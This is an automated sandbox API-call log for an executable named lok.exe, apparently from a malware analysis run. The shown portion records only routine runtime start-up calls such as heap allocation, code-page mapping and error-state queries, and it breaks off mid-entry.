# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: May 6 2020 08:26:37 # Log Creation Date: 11.05.2020 09:11:22.859 Process: id = "1" image_name = "lok.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe" page_root = "0x40e82000" os_pid = "0xb64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb60 [0048.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x3df14d10, dwHighDateTime=0x1d62774)) [0048.472] GetCurrentProcessId () returned 0xb64 [0048.472] GetCurrentThreadId () returned 0xb60 [0048.472] GetTickCount () returned 0x11475bd [0048.472] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16839117393) returned 1 [0048.716] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x403106)) [0048.716] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xc60000 [0048.717] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.717] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0048.717] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0048.717] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0048.717] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0048.717] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.718] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.718] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.718] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.718] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.718] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.718] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.718] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.718] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.718] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.719] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.719] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.719] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.719] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.720] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.720] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0048.720] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x214) returned 0xc607d0 [0048.720] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.720] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0048.720] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0048.720] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.720] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0048.721] GetCurrentThreadId () returned 0xb60 [0048.721] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0048.721] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x800) returned 0xc609f0 [0048.721] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0048.721] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0048.721] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0048.721] SetHandleCount (uNumber=0x20) returned 0x20 [0048.721] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" " [0048.721] GetEnvironmentStringsW () returned 0x2b0198* [0048.721] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x0, Size=0xaca) returned 0xc611f8 [0048.721] FreeEnvironmentStringsW (penv=0x2b0198) returned 1 [0048.721] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x424a58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x0, Size=0x64) returned 0xc61cd0 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x98) returned 0xc61d40 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x3e) returned 0xc61de0 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x6c) returned 0xc61e28 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x6e) returned 0xc61ea0 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x78) returned 0xc61f18 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x62) returned 0xc61f98 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x2e) returned 0xc62008 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x48) returned 0xc62040 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x28) returned 0xc62090 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x1a) returned 0xc620c0 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x4a) returned 0xc620e8 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x72) returned 0xc62140 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x30) returned 0xc621c0 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x2e) returned 0xc621f8 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x1c) returned 0xc62230 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0xd2) returned 0xc62258 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x7c) returned 0xc62338 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x36) returned 0xc623c0 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x3a) returned 0xc62400 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x90) returned 0xc62448 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x24) returned 0xc624e0 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x30) returned 0xc62510 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x36) returned 0xc62548 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x48) returned 0xc62588 [0048.722] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x52) returned 0xc625d8 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x3c) returned 0xc62638 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x82) returned 0xc62680 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x2e) returned 0xc62710 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x1e) returned 0xc62748 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x2c) returned 0xc62770 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x54) returned 0xc627a8 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x52) returned 0xc62808 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x2a) returned 0xc62868 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x3c) returned 0xc628a0 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x54) returned 0xc628e8 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x24) returned 0xc62948 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x30) returned 0xc62978 [0048.723] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x8c) returned 0xc629b0 [0048.723] HeapFree (in: hHeap=0xc60000, dwFlags=0x0, lpMem=0xc611f8 | out: hHeap=0xc60000) returned 1 [0048.724] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x8, Size=0x80) returned 0xc62a48 [0048.724] GetLastError () returned 0x0 [0048.725] SetLastError (dwErrCode=0x0) [0048.725] GetLastError () returned 0x0 [0048.725] SetLastError (dwErrCode=0x0) [0048.725] GetLastError () returned 0x0 [0048.725] SetLastError (dwErrCode=0x0) [0048.725] GetACP () returned 0x4e4 [0048.725] RtlAllocateHeap (HeapHandle=0xc60000, Flags=0x0, Size=0x220) returned 0xc62ad0 [0048.725] GetLastError () returned 0x0 [0048.725] SetLastError (dwErrCode=0x0) [0048.725] IsValidCodePage (CodePage=0x4e4) returned 1 [0048.725] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0048.725] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0048.725] GetLastError () returned 0x0 [0048.725] SetLastError (dwErrCode=0x0) [0048.725] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0048.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0048.725] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0048.725] GetLastError () returned 0x0 [0048.725] SetLastError (dwErrCode=0x0) [0048.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ暆?娊@Ā") returned 256 [0048.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ暆?娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0048.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ暆?娊@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0048.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿçk\x9bÖ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0048.726] GetLastError () returned 0x0 [0048.726] SetLastError (dwErrCode=0x0) [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ暆?娊@Ā") returned 256 [0048.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ暆?娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0048.726] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ暆?娊@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0048.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿçk\x9bÖ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0048.726] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402a4d) returned 0x0 [0048.727] RtlSizeHeap (HeapHandle=0xc60000, Flags=0x0, MemoryPointer=0xc62a48) returned 0x80 [0048.728] lstrlenW (lpString="") returned 0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 0x0 [0048.728] GetLastError () returned 